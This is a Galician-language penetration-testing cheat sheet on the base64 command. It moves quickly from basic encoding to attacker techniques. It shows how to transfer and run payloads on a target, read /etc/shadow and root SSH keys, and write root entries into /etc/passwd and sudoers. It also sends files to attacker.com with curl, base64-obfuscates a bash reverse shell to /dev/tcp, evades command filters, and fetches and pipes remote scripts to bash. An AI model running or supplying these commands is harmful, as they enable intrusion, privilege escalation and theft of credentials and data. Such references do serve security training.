Ir ao contido

base64 - Codificación e Decodificación Base64

Descrición

Comando para codificar e decodificar datos en formato Base64. Útil para transferir ficheiros binarios como texto, ofuscar payloads e evadir restriccións de transferencia.

Sintaxe básica

base64 [opcións] [ficheiro]
echo "texto" | base64

Opcións principais

Opción Descrición
-d Decodificar base64 a formato orixinal
-w <num> Especificar ancho de liña (0 = sen saltos)
-i Ignorar caracteres non-alfabeto

Exemplos de uso

Codificación básica

# Codificar texto
echo "Hello World" | base64
# SGVsbG8gV29ybGQK

# Codificar ficheiro
base64 ficheiro.txt

# Codificar ficheiro a outro ficheiro
base64 ficheiro.txt > ficheiro_b64.txt

# Codificar sen saltos de liña (nunha soa liña)
base64 -w0 ficheiro.txt
cat ficheiro.txt | base64 -w0

Decodificación básica

# Decodificar texto
echo "SGVsbG8gV29ybGQK" | base64 -d
# Hello World

# Decodificar ficheiro
base64 -d ficheiro_b64.txt

# Decodificar e gardar
base64 -d ficheiro_b64.txt > ficheiro_orixinal.txt

# Decodificar string directamente
echo "dGVzdA==" | base64 -d

Uso en transferencia de ficheiros

Transferir executables/binarios

# Na máquina atacante:
# 1. Codificar payload
base64 -w0 payload.exe > payload_b64.txt
cat payload_b64.txt

# 2. Copiar o texto base64

# Na máquina obxectivo:
# 3. Pegar e decodificar
echo "BASE64_STRING_AQUI" | base64 -d > payload.exe
chmod +x payload.exe
./payload.exe

Transferir scripts

# Atacante: Codificar script
base64 -w0 linpeas.sh > linpeas_b64.txt

# Obxectivo: Decodificar e executar
echo "BASE64_ENCODED_SCRIPT" | base64 -d > linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Ou executar directamente sen gardar
echo "BASE64_ENCODED_SCRIPT" | base64 -d | bash

Transferir chaves SSH

# Codificar chave privada
base64 -w0 ~/.ssh/id_rsa

# Decodificar no obxectivo
echo "BASE64_KEY" | base64 -d > /tmp/id_rsa
chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa user@host

Uso en escalada de privilexios

Ler ficheiros codificados en base64

# Ler /etc/shadow como root usando base64
base64 /etc/shadow

# Ou se hai un binario con SUID
/usr/bin/base64 /etc/shadow | base64 -d

# Ler chaves SSH privadas
base64 /root/.ssh/id_rsa | base64 -d

Escribir ficheiros usando base64

# Crear ficheiro /etc/sudoers.d/user (exemplo)
echo "dXNlciBBTEw9KEFMTCkgTk9QQVNTV0Q6QUxMCg==" | base64 -d > /etc/sudoers.d/user

# Engadir usuario a /etc/passwd
echo "hacker:x:0:0:root:/root:/bin/bash" | base64
# Copiar resultado e decodificar
echo "BASE64_RESULT" | base64 -d >> /etc/passwd

Exfiltrar datos

# Exfiltrar datos codificados
base64 -w0 /etc/passwd
base64 -w0 /etc/shadow

# Enviar por DNS, HTTP headers, etc.
curl -H "Data: $(base64 -w0 sensitive.txt)" http://attacker.com/

Ofuscación de payloads

Ofuscar comandos

# Codificar comando malicioso
echo "bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1" | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC9JUF9BVEFQQU5URS80NDQ0IDA+JjEK

# Executar comando codificado
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9JUF9BVEFQQU5URS80NDQ0IDA+JjEK" | base64 -d | bash

# Ofuscar script completo
base64 -w0 malicious.sh > encoded.txt
# No obxectivo:
cat encoded.txt | base64 -d | bash

Evadir filtros

# Se comandos están bloqueados, codificalos
# Exemplo: "cat /etc/passwd" bloqueado
echo "cat /etc/passwd" | base64
# Y2F0IC9ldGMvcGFzc3dkCg==

# Executar
echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | sh

Combinación con outras técnicas

Base64 + wget/curl

# Descargar e executar script codificado
curl http://attacker.com/script.b64 | base64 -d | bash

# Descargar payload codificado
wget -O - http://attacker.com/payload.b64 | base64 -d > payload
chmod +x payload

Base64 + Python

# Python script para transferir ficheiro
import base64
# Codificar
with open('payload.exe', 'rb') as f:
    encoded = base64.b64encode(f.read())
    print(encoded.decode())

# Decodificar
import base64
encoded = "BASE64_STRING"
with open('payload.exe', 'wb') as f:
    f.write(base64.b64decode(encoded))

Base64 + PowerShell (Windows)

# Codificar en Linux
base64 -w0 payload.exe

# Decodificar en Windows
$data = "BASE64_STRING"
[System.IO.File]::WriteAllBytes("C:\temp\payload.exe", [System.Convert]::FromBase64String($data))

Detección de base64

# Buscar strings base64 en ficheiros
grep -r "^[A-Za-z0-9+/]\{20,\}=\{0,2\}$" /var/www/

# Decodificar automáticamente resultados sospeitosos
cat suspicious.txt | base64 -d

Casos de uso específicos

Transferir múltiples ficheiros

# Crear tar e codificar
tar -czf files.tar.gz ficheiro1 ficheiro2 ficheiro3
base64 -w0 files.tar.gz

# Decodificar e extraer
echo "BASE64_TAR" | base64 -d > files.tar.gz
tar -xzf files.tar.gz

Credenciais en base64

# Moitas aplicacións gardan credenciais en base64
cat config.xml | grep password
# <password>cGFzc3dvcmQxMjM=</password>

# Decodificar
echo "cGFzc3dvcmQxMjM=" | base64 -d
# password123

Basic Authentication HTTP

# Crear header Basic Auth
echo -n "user:password" | base64
# dXNlcjpwYXNzd29yZA==

# Usar en curl
curl -H "Authorization: Basic dXNlcjpwYXNzd29yZA==" http://target.com/

# Decodificar header atopado
echo "dXNlcjpwYXNzd29yZA==" | base64 -d
# user:password

Notas adicionais

  • Base64 non é cifrado, só codificación
  • Aumenta o tamaño do ficheiro ~33%
  • -w0 é importante para copiar/pegar (evita saltos de liña)
  • Útil para transferir ficheiros binarios mediante texto (clipboard, HTTP headers, etc.)
  • Moitas aplicacións usan base64 para "ofuscar" contrasinais (moi inseguro)
  • Sempre verificar strings en base64 durante enumeración
  • En Windows: certutil -decode file.b64 file.exe (alternativa)
  • Combinar con xxd para hexdump: base64 -d file.b64 | xxd
  • Podes encadear múltiples codificacións: echo "text" | base64 | base64
  • Útil para evadir regex ou filtros básicos de seguridade